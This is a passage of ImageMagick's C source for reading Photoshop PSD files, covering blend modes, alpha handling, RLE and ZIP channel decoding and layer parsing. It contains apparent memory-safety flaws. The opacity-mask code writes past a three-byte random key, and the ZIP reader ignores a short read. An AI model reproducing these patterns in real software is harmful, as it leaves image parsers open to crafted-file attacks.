magick string. % */ static MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (LocaleNCompare((const char *) magick,"8BPS",4) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSDImage() reads an Adobe Photoshop image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadPSDImage method is: % % Image *ReadPSDImage(image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static const char *CompositeOperatorToPSDBlendMode(CompositeOperator op) { const char *blend_mode; switch (op) { case ColorBurnCompositeOp: blend_mode = "idiv"; break; case ColorDodgeCompositeOp: blend_mode = "div "; break; case ColorizeCompositeOp: blend_mode = "colr"; break; case DarkenCompositeOp: blend_mode = "dark"; break; case DifferenceCompositeOp: blend_mode = "diff"; break; case DissolveCompositeOp: blend_mode = "diss"; break; case ExclusionCompositeOp: blend_mode = "smud"; break; case HardLightCompositeOp: blend_mode = "hLit"; break; case HardMixCompositeOp: blend_mode = "hMix"; break; case HueCompositeOp: blend_mode = "hue "; break; case LightenCompositeOp: blend_mode = "lite"; break; case LinearBurnCompositeOp: blend_mode = "lbrn"; break; case LinearDodgeCompositeOp:blend_mode = "lddg"; break; case LinearLightCompositeOp:blend_mode = "lLit"; break; case LuminizeCompositeOp: blend_mode = "lum "; break; case MultiplyCompositeOp: blend_mode = "mul "; break; case OverCompositeOp: blend_mode = "norm"; break; case OverlayCompositeOp: blend_mode = "over"; break; case PinLightCompositeOp: blend_mode = "pLit"; break; case SaturateCompositeOp: blend_mode = "sat "; break; case ScreenCompositeOp: blend_mode = "scrn"; break; case SoftLightCompositeOp: blend_mode = "sLit"; break; case VividLightCompositeOp: blend_mode = "vLit"; break; default: blend_mode = "norm"; break; } return(blend_mode); } /* For some reason Photoshop seems to blend semi-transparent pixels with white. This method reverts the blending. This can be disabled by setting the option 'psd:alpha-unblend' to off. */ static MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info, Image *image, ExceptionInfo* exception) { const char *option; MagickBooleanType status; ssize_t y; if (image->matte == MagickFalse || image->colorspace != sRGBColorspace) return(MagickTrue); option=GetImageOption(image_info,"psd:alpha-unblend"); if (IsStringNotFalse(option) == MagickFalse) return(MagickTrue); status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { double gamma; gamma=QuantumScale*GetPixelAlpha(q); if (gamma != 0.0 && gamma != 1.0) { SetPixelRed(q,(GetPixelRed(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelGreen(q,(GetPixelGreen(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelBlue(q,(GetPixelBlue(q)-((1.0-gamma)*QuantumRange))/gamma); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity, MagickBooleanType revert,ExceptionInfo *exception) { MagickBooleanType status; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying layer opacity %.20g", (double) opacity); if (opacity == QuantumRange) return(MagickTrue); image->matte=MagickTrue; status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { if (revert == MagickFalse) SetPixelAlpha(q,(Quantum) (QuantumScale*(GetPixelAlpha(q)*opacity))); else if (opacity > 0) SetPixelAlpha(q,(Quantum) (QuantumRange*(GetPixelAlpha(q)/ (MagickRealType) opacity))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask, Quantum background,MagickBooleanType revert,ExceptionInfo *exception) { Image *complete_mask; MagickBooleanType status; MagickPixelPacket color; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying opacity mask"); complete_mask=CloneImage(image,image->columns,image->rows,MagickTrue, exception); complete_mask->matte=MagickTrue; GetMagickPixelPacket(complete_mask,&color); color.red=background; SetImageColor(complete_mask,&color); status=CompositeImage(complete_mask,OverCompositeOp,mask, mask->page.x-image->page.x,mask->page.y-image->page.y); if (status == MagickFalse) { complete_mask=DestroyImage(complete_mask); return(status); } image->matte=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register PixelPacket *p; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception); if ((q == (PixelPacket *) NULL) || (p == (PixelPacket *) NULL)) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { MagickRealType alpha, intensity; alpha=GetPixelAlpha(q); intensity=GetPixelIntensity(complete_mask,p); if (revert == MagickFalse) SetPixelAlpha(q,ClampToQuantum(intensity*(QuantumScale*alpha))); else if (intensity > 0) SetPixelAlpha(q,ClampToQuantum((alpha/intensity)*QuantumRange)); q++; p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } complete_mask=DestroyImage(complete_mask); return(status); } static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info, ExceptionInfo *exception) { char *key; RandomInfo *random_info; StringInfo *key_info; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " preserving opacity mask"); random_info=AcquireRandomInfo(); key_info=GetRandomKey(random_info,2+1); key=(char *) GetStringInfoDatum(key_info); key[8]=layer_info->mask.background; key[9]='\0'; layer_info->mask.image->page.x+=layer_info->page.x; layer_info->mask.image->page.y+=layer_info->page.y; (void) SetImageRegistry(ImageRegistryType,(const char *) key, layer_info->mask.image,exception); (void) SetImageArtifact(layer_info->image,"psd:opacity-mask", (const char *) key); key_info=DestroyStringInfo(key_info); random_info=DestroyRandomInfo(random_info); } static ssize_t DecodePSDPixels(const size_t number_compact_pixels, const unsigned char *compact_pixels,const ssize_t depth, const size_t number_pixels,unsigned char *pixels) { #define CheckNumberCompactPixels \ if (packets == 0) \ return(i); \ packets-- #define CheckNumberPixels(count) \ if (((ssize_t) i + count) > (ssize_t) number_pixels) \ return(i); \ i+=count int pixel; register ssize_t i, j; size_t length; ssize_t packets; packets=(ssize_t) number_compact_pixels; for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); ) { packets--; length=(size_t) (*compact_pixels++); if (length == 128) continue; if (length > 128) { length=256-length+1; CheckNumberCompactPixels; pixel=(*compact_pixels++); for (j=0; j < (ssize_t) length; j++) { switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(unsigned char) ((pixel >> 6) & 0x03); *pixels++=(unsigned char) ((pixel >> 4) & 0x03); *pixels++=(unsigned char) ((pixel >> 2) & 0x03); *pixels++=(unsigned char) ((pixel & 0x03) & 0x03); break; } case 4: { CheckNumberPixels(2); *pixels++=(unsigned char) ((pixel >> 4) & 0xff); *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff); break; } default: { CheckNumberPixels(1); *pixels++=(unsigned char) pixel; break; } } } continue; } length++; for (j=0; j < (ssize_t) length; j++) { CheckNumberCompactPixels; switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(*compact_pixels >> 6) & 0x03; *pixels++=(*compact_pixels >> 4) & 0x03; *pixels++=(*compact_pixels >> 2) & 0x03; *pixels++=(*compact_pixels & 0x03) & 0x03; break; } case 4: { CheckNumberPixels(2); *pixels++=(*compact_pixels >> 4) & 0xff; *pixels++=(*compact_pixels & 0x0f) & 0xff; break; } default: { CheckNumberPixels(1); *pixels++=(*compact_pixels); break; } } compact_pixels++; } } return(i); } static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info, const ssize_t number_layers) { ssize_t i; for (i=0; i<number_layers; i++) { if (layer_info[i].image != (Image *) NULL) layer_info[i].image=DestroyImage(layer_info[i].image); if (layer_info[i].mask.image != (Image *) NULL) layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); } return (LayerInfo *) RelinquishMagickMemory(layer_info); } static inline size_t GetPSDPacketSize(Image *image) { if (image->storage_class == PseudoClass) { if (image->colors > 256) return(2); else if (image->depth > 8) return(2); } else if (image->depth > 8) return(2); return(1); } static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image) { if (psd_info->version == 1) return((MagickSizeType) ReadBlobLong(image)); return((MagickSizeType) ReadBlobLongLong(image)); } static inline size_t GetPSDRowSize(Image *image) { if (image->depth == 1) return(((image->columns+7)/8)*GetPSDPacketSize(image)); else return(image->columns*GetPSDPacketSize(image)); } static const char *ModeToString(PSDImageType type) { switch (type) { case BitmapMode: return "Bitmap"; case GrayscaleMode: return "Grayscale"; case IndexedMode: return "Indexed"; case RGBMode: return "RGB"; case CMYKMode: return "CMYK"; case MultichannelMode: return "Multichannel"; case DuotoneMode: return "Duotone"; case LabMode: return "L*A*B"; default: return "unknown"; } } static void ParseImageResourceBlocks(Image *image, const unsigned char *blocks,size_t length, MagickBooleanType *has_merged_image) { const unsigned char *p; StringInfo *profile; unsigned int count, long_sans; unsigned short id, short_sans; if (length < 16) return; profile=BlobToStringInfo((const void *) NULL,length); SetStringInfoDatum(profile,blocks); (void) SetImageProfile(image,"8bim",profile); profile=DestroyStringInfo(profile); for (p=blocks; (p >= blocks) && (p < (blocks+length-16)); ) { if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if ((p+count) > (blocks+length-16)) return; switch (id) { case 0x03ed: { char value[MaxTextExtent]; unsigned short resolution; /* Resolution info. */ p=PushShortPixel(MSBEndian,p,&resolution); image->x_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->x_resolution); (void) SetImageProperty(image,"tiff:XResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&resolution); image->y_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->y_resolution); (void) SetImageProperty(image,"tiff:YResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); image->units=PixelsPerInchResolution; break; } case 0x0421: { if (*(p+4) == 0) *has_merged_image=MagickFalse; p+=count; break; } default: { p+=count; break; } } if ((count & 0x01) != 0) p++; } return; } static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode) { if (mode == (const char *) NULL) return(OverCompositeOp); if (LocaleNCompare(mode,"norm",4) == 0) return(OverCompositeOp); if (LocaleNCompare(mode,"mul ",4) == 0) return(MultiplyCompositeOp); if (LocaleNCompare(mode,"diss",4) == 0) return(DissolveCompositeOp); if (LocaleNCompare(mode,"diff",4) == 0) return(DifferenceCompositeOp); if (LocaleNCompare(mode,"dark",4) == 0) return(DarkenCompositeOp); if (LocaleNCompare(mode,"lite",4) == 0) return(LightenCompositeOp); if (LocaleNCompare(mode,"hue ",4) == 0) return(HueCompositeOp); if (LocaleNCompare(mode,"sat ",4) == 0) return(SaturateCompositeOp); if (LocaleNCompare(mode,"colr",4) == 0) return(ColorizeCompositeOp); if (LocaleNCompare(mode,"lum ",4) == 0) return(LuminizeCompositeOp); if (LocaleNCompare(mode,"scrn",4) == 0) return(ScreenCompositeOp); if (LocaleNCompare(mode,"over",4) == 0) return(OverlayCompositeOp); if (LocaleNCompare(mode,"hLit",4) == 0) return(HardLightCompositeOp); if (LocaleNCompare(mode,"sLit",4) == 0) return(SoftLightCompositeOp); if (LocaleNCompare(mode,"smud",4) == 0) return(ExclusionCompositeOp); if (LocaleNCompare(mode,"div ",4) == 0) return(ColorDodgeCompositeOp); if (LocaleNCompare(mode,"idiv",4) == 0) return(ColorBurnCompositeOp); if (LocaleNCompare(mode,"lbrn",4) == 0) return(LinearBurnCompositeOp); if (LocaleNCompare(mode,"lddg",4) == 0) return(LinearDodgeCompositeOp); if (LocaleNCompare(mode,"lLit",4) == 0) return(LinearLightCompositeOp); if (LocaleNCompare(mode,"vLit",4) == 0) return(VividLightCompositeOp); if (LocaleNCompare(mode,"pLit",4) == 0) return(PinLightCompositeOp); if (LocaleNCompare(mode,"hMix",4) == 0) return(HardMixCompositeOp); return(OverCompositeOp); } static inline void ReversePSDString(Image *image,char *p,size_t length) { char *q; if (image->endian == MSBEndian) return; q=p+length; for(--q; p < q; ++p, --q) { *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } } static inline void SetPSDPixel(Image *image,const size_t channels, const ssize_t type,const size_t packet_size,const Quantum pixel, PixelPacket *q,IndexPacket *indexes,ssize_t x) { if (image->storage_class == PseudoClass) { if (packet_size == 1) SetPixelIndex(indexes+x,ScaleQuantumToChar(pixel)); else SetPixelIndex(indexes+x,ScaleQuantumToShort(pixel)); SetPixelRGBO(q,image->colormap+(ssize_t) ConstrainColormapIndex(image,GetPixelIndex(indexes+x))); return; } switch (type) { case -1: { SetPixelAlpha(q,pixel); break; } case -2: case 0: { SetPixelRed(q,pixel); if (channels == 1 || type == -2) { SetPixelGreen(q,GetPixelRed(q)); SetPixelBlue(q,GetPixelRed(q)); } break; } case 1: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelGreen(q,pixel); break; } case 2: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelBlue(q,pixel); break; } case 3: { if (image->colorspace == CMYKColorspace) SetPixelIndex(indexes+x,pixel); else if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } case 4: { if ((IssRGBCompatibleColorspace(image->colorspace) != MagickFalse) && (channels > 3)) break; if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } } } static MagickBooleanType ReadPSDChannelPixels(Image *image,const size_t channels, const size_t row,const ssize_t type,const unsigned char *pixels, ExceptionInfo *exception) { Quantum pixel; register const unsigned char *p; register IndexPacket *indexes; register PixelPacket *q; register ssize_t x; size_t packet_size; unsigned short nibble; p=pixels; q=GetAuthenticPixels(image,0,row,image->columns,1,exception); if (q == (PixelPacket *) NULL) return MagickFalse; indexes=GetAuthenticIndexQueue(image); packet_size=GetPSDPacketSize(image); for (x=0; x < (ssize_t) image->columns; x++) { if (packet_size == 1) pixel=ScaleCharToQuantum(*p++); else { p=PushShortPixel(MSBEndian,p,&nibble); pixel=ScaleShortToQuantum(nibble); } if (image->depth > 1) { SetPSDPixel(image,channels,type,packet_size,pixel,q++,indexes,x); } else { ssize_t bit, number_bits; number_bits=image->columns-x; if (number_bits > 8) number_bits=8; for (bit=0; bit < number_bits; bit++) { SetPSDPixel(image,channels,type,packet_size,(((unsigned char) pixel) & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q++,indexes,x++); } if (x != (ssize_t) image->columns) x--; continue; } } return(SyncAuthenticPixels(image,exception)); } static MagickBooleanType ReadPSDChannelRaw(Image *image,const size_t channels, const ssize_t type,ExceptionInfo *exception) { MagickBooleanType status; size_t count, row_size; ssize_t y; unsigned char *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RAW"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,row_size,pixels); if (count != row_size) break; status=ReadPSDChannelPixels(image,channels,y,type,pixels,exception); if (status == MagickFalse) break; } pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } static inline MagickOffsetType *ReadPSDRLESizes(Image *image, const PSDInfo *psd_info,const size_t size) { MagickOffsetType *sizes; ssize_t y; sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes)); if(sizes != (MagickOffsetType *) NULL) { for (y=0; y < (ssize_t) size; y++) { if (psd_info->version == 1) sizes[y]=(MagickOffsetType) ReadBlobShort(image); else sizes[y]=(MagickOffsetType) ReadBlobLong(image); } } return sizes; } static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info, const ssize_t type,MagickOffsetType *sizes,ExceptionInfo *exception) { MagickBooleanType status; size_t length, row_size; ssize_t count, y; unsigned char *compact_pixels, *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RLE compressed"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); length=0; for (y=0; y < (ssize_t) image->rows; y++) if ((MagickOffsetType) length < sizes[y]) length=(size_t) sizes[y]; compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels)); if (compact_pixels == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels)); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,(size_t) sizes[y],compact_pixels); if (count != (ssize_t) sizes[y]) break; count=DecodePSDPixels((size_t) sizes[y],compact_pixels, (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels); if (count != (ssize_t) row_size) break; status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels, exception); if (status == MagickFalse) break; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #ifdef MAGICKCORE_ZLIB_DELEGATE static MagickBooleanType ReadPSDChannelZip(Image *image,const size_t channels, const ssize_t type,const PSDCompressionType compression, const size_t compact_size,ExceptionInfo *exception) { MagickBooleanType status; register unsigned char *p; size_t count, length, packet_size, row_size; ssize_t y; unsigned char *compact_pixels, *pixels; z_stream stream; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is ZIP compressed"); compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size, sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); packet_size=GetPSDPacketSize(image); row_size=image->columns*packet_size; count=image->rows*row_size; pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) { compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; (void) ReadBlob(image,compact_size,compact_pixels); stream.next_in=(Bytef *)compact_pixels; stream.avail_in=(uInt) compact_size; stream.next_out=(Bytef *)pixels; stream.avail_out=(uInt) count; if (inflateInit(&stream) == Z_OK) { int ret; while (stream.avail_out > 0) { ret=inflate(&stream, Z_SYNC_FLUSH); if ((ret != Z_OK) && (ret != Z_STREAM_END)) { compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(MagickFalse); } } } if (compression == ZipWithPrediction) { p=pixels; while (count > 0) { length=image->columns; while (--length) { if (packet_size == 2) { p[2]+=p[0]+((p[1]+p[3]) >> 8); p[3]+=p[1]; } else *(p+1)+=*p; p+=packet_size; } p+=packet_size; count-=row_size; } } status=MagickTrue; p=pixels; for (y=0; y < (ssize_t) image->rows; y++) { status=ReadPSDChannelPixels(image,channels,y,type,p,exception); if (status == MagickFalse) break; p+=row_size; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #endif static MagickBooleanType ReadPSDChannel(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info, const size_t channel,const PSDCompressionType compression, ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if (layer_info->channel_info[channel].type < -1) { const char *option; /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if ((layer_info->channel_info[channel].type != -2) || (layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) && (IsStringTrue(option) == MagickFalse))) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); mask->matte=MagickFalse; channel_image=mask; } offset=TellBlob(image); status=MagickTrue; switch(compression) { case Raw: status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *sizes; sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,sizes,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } layer_info->mask.image=mask; return(status); } static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info, const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception) { char message[MaxTextExtent]; MagickBooleanType status; PSDCompressionType compression; ssize_t j; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " setting up new layer image"); if (psd_info->mode != IndexedMode) (void) SetImageBackgroundColor(layer_info->image); layer_info->image->compose=PSDBlendModeToCompositeOperator( layer_info->blendkey); if (layer_info->visible == MagickFalse) { layer_info->image->compose=NoCompositeOp; (void) SetImageArtifact(layer_info->image,"psd:layer.invisible","true"); } if (psd_info->mode == CMYKMode) SetImageColorspace(layer_info->image,CMYKColorspace); else if ((psd_info->mode == BitmapMode) || (psd_info->mode == DuotoneMode) || (psd_info->mode == GrayscaleMode)) SetImageColorspace(layer_info->image,GRAYColorspace); /* Set up some hidden attributes for folks that need them. */ (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.x); (void) SetImageArtifact(layer_info->image,"psd:layer.x",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.y); (void) SetImageArtifact(layer_info->image,"psd:layer.y",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g",(double) layer_info->opacity); (void) SetImageArtifact(layer_info->image,"psd:layer.opacity",message); (void) SetImageProperty(layer_info->image,"label",(char *) layer_info->name); status=MagickTrue; for (j=0; j < (ssize_t) layer_info->channels; j++) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for channel %.20g",(double) j); compression=(PSDCompressionType) ReadBlobShort(layer_info->image); layer_info->image->compression=ConvertPSDCompression(compression); if (layer_info->channel_info[j].type == -1) layer_info->image->matte=MagickTrue; status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,j, compression,exception); InheritException(exception,&layer_info->image->exception); if (status == MagickFalse) break; } if (status != MagickFalse) status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity, MagickFalse,exception); if ((status != MagickFalse) && (layer_info->image->colorspace == CMYKColorspace)) status=NegateImage(layer_info->image,MagickFalse); if (status != MagickFalse && layer_info->mask.image != (Image *) NULL) { const char *option; layer_info->mask.image->page.x=layer_info->mask.page.x; layer_info->mask.image->page.y=layer_info->mask.page.y; /* Do not composite the mask when it is disabled */ if ((layer_info->mask.flags & 0x02) == 0x02) layer_info->mask.image->compose=NoCompositeOp; else status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image, layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse, exception); option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if (IsStringTrue(option) != MagickFalse) PreservePSDOpacityMask(image,layer_info,exception); layer_info->mask.image=DestroyImage(layer_info->mask.image); } return(status); } ModuleExport MagickBooleanType ReadPSDLayers(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info, const MagickBooleanType skip_layers,ExceptionInfo *exception) { char type[4]; LayerInfo *layer_info; MagickSizeType size; MagickBooleanType status; register ssize_t i; ssize_t count, j, number_layers; size=GetPSDSize(psd_info,image); if (size == 0) { /* Skip layers & masks. */ (void) ReadBlobLong(image); count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); status=MagickFalse; if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) return(MagickTrue); else { count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count != 0) && (LocaleNCompare(type,"Lr16",4) == 0)) size=GetPSDSize(psd_info,image); else return(MagickTrue); } } status=MagickTrue; if (size != 0) { layer_info=(LayerInfo *) NULL; number_layers=(short) ReadBlobShort(image); if (number_layers < 0) { /* The first alpha channel in the merged result contains the transparency data for the merged result. */ number_layers=MagickAbsoluteValue(number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " negative layer count corrected for"); image->matte=MagickTrue; } /* We only need to know if the image has an alpha channel */ if (skip_layers != MagickFalse) return(MagickTrue); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image contains %.20g layers",(double) number_layers); if (number_layers == 0) ThrowBinaryException(CorruptImageError,"InvalidNumberOfLayers", image->filename); layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers, sizeof(*layer_info)); if (layer_info == (LayerInfo *) NULL) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of LayerInfo failed"); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(layer_info,0,(size_t) number_layers* sizeof(*layer_info)); for (i=0; i < number_layers; i++) { ssize_t x, y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading layer #%.20g",(double) i+1); layer_info[i].page.y=ReadBlobSignedLong(image); layer_info[i].page.x=ReadBlobSignedLong(image); 